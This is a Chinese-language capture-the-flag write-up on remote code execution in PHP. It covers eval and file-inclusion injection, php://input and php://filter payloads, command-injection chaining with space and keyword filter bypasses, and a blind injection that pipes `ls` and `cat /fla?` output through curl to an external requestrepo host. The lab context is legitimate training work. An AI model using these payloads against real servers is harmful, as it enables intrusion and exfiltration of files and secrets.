RCE
RCE
RCE英文全称:remote command/code execute(远程命令/代码执行漏洞)是互联网的一种安全漏洞
它可以让攻击者直接向后台服务器远程注入操作系统命令,相当于直接操控服务器电脑的cmd命令行!从而操控后台系统,高危漏洞!
RCE漏洞产生的根本原因:服务器像php环境版本对可执行变量函数没有做过滤,导致在没有自定义相对路径的情况下就运行命令去执行,从而导致服务器被入侵。
eval执行
我们直接在输入栏上输入类似cmd的命令行,直接操作web服务器执行我们所写的命令内容。
查看根目录文件 : /?cmd=system("ls")
;
返回上一级: /?cmd=system("ls /")
;
直接 cat 出 flag 的文件: /?cmd=system("cat /flag_12832")
;
文件包含
形如以下就是 eval 漏洞
<?php eval($_REQUEST['ctfhub']);?>
并且 $_REQUEST['ctfhub']
文件包含漏洞利用的前提条件:
(1)web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参 数的方式引入;
(2)用户能够控制包含文件的参数,被包含的文件可被当前页面访问;
文件包含获取 webshell 的条件:
(1)攻击者需要知道文件存放的物理路径;
(2)对上传文件所在目录拥有可执行权限;
(3)存在文件包含漏洞;
ps
ctfhub这题用kali——应用POST请求,我这里是使用的curl进行的请求
- 先看主页面有什么文件
curl http://....10080?file=shell.txt -X POST -d "ctfhub=system('ls');"
- 返回上一个目录
curl http://...10080?file=shell.txt -X POST -d "ctfhub=system('ls /');"
- cat flag
curl http://...10080?file=shell.txt -X POST -d "ctfhub=system('cat /flag');"
php://input
查看phpinfo,是否能使用流
Directive | Local Value | Master Value |
---|---|---|
allow_url_fopen | On | On |
allow_url_include | On | On |
利用BS抓包和返包
POST /?file=php://input HTTP/1.1
Host: challenge-a5ad81fc94962949.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 23
12<?php system('ls /');?>
远程包含
不知道这道题需要考察什么知识点,反正先点开那个phpinfo 查看一下,CTRL+F 搜索 是否支持input ,发现居然支持,然后就按照往常的套路来。1.BS抓包 2.改包返包
看allow_url_include
是否为On
源代码读取
网页删没有给出很多的提示,题目说给出源代码读取的题,那么我们就直接按照题目意思去解题即可。 这里会用到php://filter
,这用来读取源代码,是 php 中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字,filter,可以很容易想到这个协议可以用来过滤一些东西;
通过Base64来进行源代码的回显,这里我不是特别明白为什么需要使用Base64进行回显直接按照语法构造
?file=php://filter/**convert.base64-encode/resource=/flag**
命令注入
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag。既然叫我们 ping ,那我们就随便输入几个IP进行测试,但是我们发现没什么反应。
既然是命令注入,那应该是相当于这个窗口是一个能执行命令的一个地方,那我们就试试使用 Linux 的链接符号进行连接,执行多条语句。
linux中命令的链接符号
&& :就是且操作,前面的语句执行成功才能继续执行下一条语句,直到全部的语句都执行成功。
|| :或操作,先执行前面的操作若是不成功继续执行后面的操作只到成功。
| :管道操作,改变管道流的源目的地,就是使前面语句的结果做为后面语句的输入
& :连接多个命令,使后后面的语句在后台执行,不回显到前台界面。
; :直接连接多个命令
- 先用 & 连接 -> ls 看一下有什么文件
(随便一个ip) & ls
- 发现可疑文件用 cat 查看
(随便ip) & cat *.php |base64
过滤cat
在 linux 下,不只有 cat 可以读取文件内容,more less head tac,都可以对文本进行读取。
- 先用& 连接ls看一下有什么文件
(随便一个ip) & ls
- 发现的可疑文件cat查看
(随便ip) & more less head tac *.php |base64
过滤空格
Linux用($IFS
或者<
代替空格)
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}
来代替空格
过滤目录分隔符
过滤了目录分割符 /
既然过滤了/
,那我们就不能直接查看文件里面的文件了
利用分号使两个命令同时进行
因此这题应该:
127.0.0.1&ls
127.0.0.1;cd flag_is_here;ls
127.0.0.1;cd flag_is_here;cat flag_1761559011812.php|base64
命令注入-过滤运算符
可以使用base64 1.php
这个与cat 1.php|base64
是等价的。
127.0.0.1;base64 flag_1084102149665.php
题目1
网页中显示:
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
查看代码,可能是绕过 试试,发现没有回显
接下来使用request repo网站
给这个URL前面加个http://
然后给这个URL加个GET参数,用反引号来读取我们的值,读取FLAG
然后ls 看一下当前目录,
然后base64编码,因为它这里面可能有换行和空格之类的,我们统一编码,
然后执行
?cmd=curl http://s07bjnf8.requestrepo.com/?1=`ls | base64`
可以看到网站接收到了信息
index.php
?cmd=curl http://dxc3q11g.requestrepo.com/?1=`cat /fla? | base64`
获得flag:
xujc{f6f7562d-ef43-4263-9838-75e874906706}